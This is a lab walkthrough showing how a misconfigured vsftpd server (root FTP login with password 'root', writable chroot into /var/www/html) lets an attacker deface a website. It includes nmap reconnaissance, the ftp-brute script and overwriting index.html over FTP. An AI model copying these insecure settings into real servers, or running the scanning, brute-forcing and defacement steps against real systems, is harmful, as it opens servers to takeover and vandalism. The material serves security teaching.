Lab Document: FTP Misconfiguration Leading to Website Defacement

Objective

To demonstrate how misconfigured FTP services can allow an attacker to deface a website by modifying the `index.html` file.

Step 1: Misconfigure the FTP Service

1. Install vsftpd:

```
sudo apt update && sudo apt install vsftpd -y
```

2. Edit the vsftpd configuration file:

```
sudo nano /etc/vsftpd.conf
```

Apply the following insecure settings:

```
local_enable=YES
write_enable=YES
chroot_local_user=YES
allow_writeable_chroot=YES
local_root=/var/www/html
```

> These settings allow direct FTP access into the web server's root directory with write permissions.

3. Restart the FTP service:

```
sudo systemctl restart vsftpd
```

Step 2: Enable Weak Credentials for Lab Simulation

1. Edit `/etc/ftpusers` and `/etc/vsftpd/ftpusers` to **remove or comment out** the `root` entry.

   This enables root login via FTP (lab only).

2. Set the root password to `root`:

   ```
   sudo passwd root
   ```

   - Enter `root` twice when prompted.
   - Ignore the warning:

     ```
     BAD PASSWORD: The password is shorter than 8 characters
     ```

     The password will still be accepted.

This simulates a weak credential scenario (`username: root`, `password: root`) to demonstrate how defacement occurs when FTP credentials are guessed or leaked.

Step 3: Attacker Reconnaissance with Nmap

An attacker would first scan the target system to discover open services.

1. Scan for open ports:

   ```
   nmap -sV <server-ip>
   ```

   Example output:

```
21/tcp open  ftp     vsftpd 3.0.5
80/tcp open  http    Apache httpd 2.4.52
```

This confirms that **FTP (port 21)** is open and running vsftpd.

2. Check if FTP allows weak logins:

```
nmap -p21 --script ftp-anon,ftp-brute <server-ip>
```

- `ftp-anon` checks for anonymous login.
- `ftp-brute` attempts weak username/passwords (e.g., `root:root`, `ftp:ftp`, `admin:admin`).

In this lab, the weak credentials `root:root` succeed, simulating a real attack where weak passwords are exploited.

Step 4: Attack Simulation

1. Connect via FTP:

```
ftp <server-ip>
Name: root
Password: root
```

2. Verify that you are inside the web root:

```
pwd
ls
```

You should see `index.html`.

3. Upload a defaced page:

```
put index.html
```

4. Open a browser and visit:

   ```
   http://<server-ip>/
   ```

   The defaced page will appear.

Realistic Scenario

This lab simulates a case where an attacker is able to log into FTP using **weak credentials** (`root:root`).

While the username and password chosen here are for demonstration, the underlying issue is very real:

attackers frequently gain access to FTP services because of:

- **Weak or default passwords** (e.g., `ftp:ftp`, `admin:admin`, `test:test`).
- **Anonymous FTP enabled with write access** → allows file uploads and defacement.
- **Leaked or reused developer credentials** found in public repositories or breach dumps.
- **Misconfigured FTP chroot** → user lands directly in `/var/www/html` and can overwrite files.

In real-world incidents, attackers often brute-force or guess FTP credentials, and once they gain access, **replacing `index.html` is one of the most common methods of website defacement.**